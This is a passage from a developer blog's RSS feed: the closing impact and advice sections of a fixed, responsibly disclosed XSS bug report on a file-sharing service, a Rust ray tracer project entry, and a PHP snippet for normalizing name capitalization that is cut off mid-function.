    &lt;a class=&quot;anchor&quot; href=&quot;#impact&quot; aria-label=&quot;Anchor link for: impact&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Let&#x27;s go over the impact this might have had:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The core issue here was that &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Cross-site_scripting&quot;&gt;XSS&lt;&#x2F;a&gt; was possible. This has been fixed.&lt;&#x2F;li&gt;
&lt;li&gt;This issue allowed you to steal a targets private key if they had stored their
private key in the browser on that computer the link was opened on.&lt;&#x2F;li&gt;
&lt;li&gt;The attacker could use their private key could be used to decrypt files that are
sent to them, but only if you have access to the encrypted blob somehow. This
would require access to their server, which this issue on its own didn&#x27;t provide.&lt;&#x2F;li&gt;
&lt;li&gt;After finding this issue, I did not report it to anybody else other than the
company until they fixed the problem.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Based on this I&#x27;d argue that real-world abuse of this issue would have been
seriously minimal, if not non-existent.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;closing-off&quot;&gt;Closing off
    &lt;a class=&quot;anchor&quot; href=&quot;#closing-off&quot; aria-label=&quot;Anchor link for: closing-off&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;I guess what we&#x27;ve learned here is that you should never consider a service to
be secure, purely on what they&#x27;re claiming on their website. This shows to be
true again and again.&lt;&#x2F;p&gt;
&lt;p&gt;I always recommend choosing a solution that:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Has been around for a while&lt;&#x2F;li&gt;
&lt;li&gt;That is open-source&lt;&#x2F;li&gt;
&lt;li&gt;That has been battle-tested in the real world&lt;&#x2F;li&gt;
&lt;li&gt;That has had public security audits by multiple parties&lt;&#x2F;li&gt;
&lt;li&gt;That relies on technologies that are considered to be safe based on thorough
research and reviews&lt;&#x2F;li&gt;
&lt;li&gt;That is hosted by a &lt;em&gt;trustful&lt;&#x2F;em&gt; party&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;Do I recommend to look for something else than this service?&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Not necessarily. Other than this implementation issue, they seem to have
set-up things quite well for what I can probe from the outside.
They&#x27;re using the right technologies for encryption, and definitely made some
good choices with regard to security. It was just a sad thing they missed this
tiny detail.&lt;&#x2F;p&gt;
&lt;p&gt;But if there&#x27;s a different tool that meets your needs, and better
fits the informal requirements I listed above, you&#x27;re may be better off from a
security standpoint.&lt;&#x2F;p&gt;
&lt;p&gt;To securely send someone a file, I personally recommend &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;send.firefox.com&#x2F;&quot;&gt;Firefox Send&lt;&#x2F;a&gt;
with &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;ffsend&quot;&gt;&lt;code&gt;ffsend&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; (which is a command line client for it that I built, shameless plug).&lt;&#x2F;p&gt;
</description>
            </item>
        
            <item>
                <title>Ray Tracer in Rust</title>
                <pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/raytrace-rs/</link>
                <guid>https://timvisee.com/projects/raytrace-rs/</guid>
                <description>&lt;p&gt;A ray tracer in Rust.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;raytrace-rs&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;p&gt;
    &lt;a href=&quot;balls.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;bb04b2932f8690a500.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;glass.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;9a7ebba1f6a4e16900.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;

&lt;p&gt;
    &lt;a href=&quot;dragon.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;9b91c3ea1ebc081200.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;raytrace-rs&#x2F;#readme&quot;&gt;Examples&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;raytrace-rs&#x2F;#usage&quot;&gt;Usage&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;View more on the project pages over at:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;raytrace-rs&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;raytrace-rs&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>Snippet: Correctly capitalize names in PHP</title>
                <pubDate>Wed, 17 Jul 2019 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/blog/snippet-correctly-capitalize-names-in-php/</link>
                <guid>https://timvisee.com/blog/snippet-correctly-capitalize-names-in-php/</guid>
                <description>&lt;p&gt;When building websites with any kind of user registration, it&#x27;s fascinating
what people enter in name fields. no casing, Random CASING, a dozen spaces
   between     words, or
nospacingatall. Seeing this always irritates me, I&#x27;d fancy things to nice and
be consistent.&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;&#x2F;blog&#x2F;snippet-correctly-capitalize-names-in-php&#x2F;banner.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;9fe42a7b9bc3eeed00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;It appears that correctly normalizing name capitalization is an &lt;em&gt;unsolvable&lt;&#x2F;em&gt;
puzzle. There is &lt;strong&gt;no&lt;&#x2F;strong&gt; consistency in name casing, or for any kind of name
formatting for that matter.
See &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.kalzumeus.com&#x2F;2010&#x2F;06&#x2F;17&#x2F;falsehoods-programmers-believe-about-names&#x2F;&quot;&gt;&lt;em&gt;Falsehoods programmers believe about names&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;I always wonder how big social networks handle this.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Okay, so this isn&#x27;t solvable. But at least I could try to make it &lt;em&gt;better&lt;&#x2F;em&gt;.
I came across &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.media-division.com&#x2F;correct-name-capitalization-in-php&#x2F;&quot;&gt;this&lt;&#x2F;a&gt; wonderful PHP snippet for name capitalization a while
back, but it had a few shortages. It didn&#x27;t correctly case with just a person&#x27;s
last name for instance (needed when storing first&#x2F;last names separate). I love
challenges like this and decided to improve, here is my take on it:&lt;&#x2F;p&gt;
&lt;span id=&quot;continue-reading&quot;&gt;&lt;&#x2F;span&gt;&lt;pre data-lang=&quot;php&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-php &quot;&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span&gt;&amp;lt;?php
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;**
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * Normalize the given (partial) name of a person.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; *
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * - re-capitalize, take last name inserts into account
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * - remove excess white spaces
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; *
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * Snippet from: https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;snippet-correctly-capitalize-names-in-php
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; *
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;@param&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; string $name The input name.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;@return&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; string The normalized name.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; *&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;name_case&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; A list of properly cased parts
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;CASED &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;[
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;O&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;l&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;d&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;St.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Mc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;the&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;van&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;het&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;in&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;#39;t&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;ten&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;den&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;von&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;und&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;der&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;de&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;da&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;of&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;and&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;the&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;III&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;IV&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;VI&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;VII&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;VIII&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;IX&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    ];
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Trim whitespace sequences to one space, append space to properly chunk
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;preg_replace&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&#x2F;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;. &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Break name up into parts split by name separators
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;parts &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;preg_split&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;( &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;O&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;l&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;St&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\\.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Mc)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ecfdb9;&quot;&gt;PREG_SPLIT_DELIM_CAPTURE&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Chunk parts, use $CASED or uppercase first, remove unfinished chunks
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;parts &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;array_chunk&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;parts&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;parts &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;array_filter&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;parts&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;part&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;sizeof&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;part&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        });
